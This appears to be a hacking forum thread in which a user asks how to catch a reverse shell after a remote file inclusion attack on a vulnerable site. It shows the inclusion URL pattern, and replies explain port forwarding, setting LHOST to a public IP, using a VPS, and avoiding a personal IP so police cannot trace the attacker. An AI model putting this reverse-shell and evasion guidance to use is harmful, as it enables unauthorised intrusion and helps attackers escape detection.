[KiraL]

Hello all, i just wanna ask if we have to do port fowarding while doing remote file inclusion. Below are my example of code :

<iframe src="pastebin.com/embed_iframe/YsMJkXWP" style="border:none;width:100%"></iframe>

As you see after uploading it on webhost, then run on vulnerable site like :

target/images/?page=domain/php.txt

so after that we listen to port 8080 as the code, but do we need to port forward in order to get reverse connection to the web server ? as you can see that the netcat is with the local network ip. thanks !

[Xphile]

If I understand correctly: You've already successfully uploaded your backdoor and now want to catch the incoming connection?

If so, then you will need to port-forward via your router settings, the incoming connection should then be routed to your machine (where NetCat will be listening for the inbound connection) and you should be able to interact with the shell.

Hope this helped. 🤝

[KiraL]

Yeah, very helpful!, but do we need to change our local ip address to public ip address on the command code?

[Xphile]

Yeah, very helpful!, but do we need to change our local ip address to public ip address on the command code?

You should change your LHOST to your public address, yes.

The server sends a connection to your router, the router sends the connection to your machine.

So:

Server - Public IP -> Router - LAN IP -> You

You could also use a DNS address instead of your public IP address if you're using one.

Good luck, OP. 🤝

[Anis_WAN]

For good pentest without limitation i would suggest you buy a VPS and you'll never need to backconnect anything.

[Rel1k]

Never use reverse shell directly on your personnal public IP, because thats the best and easy way to find you by police or webmaster (both are same)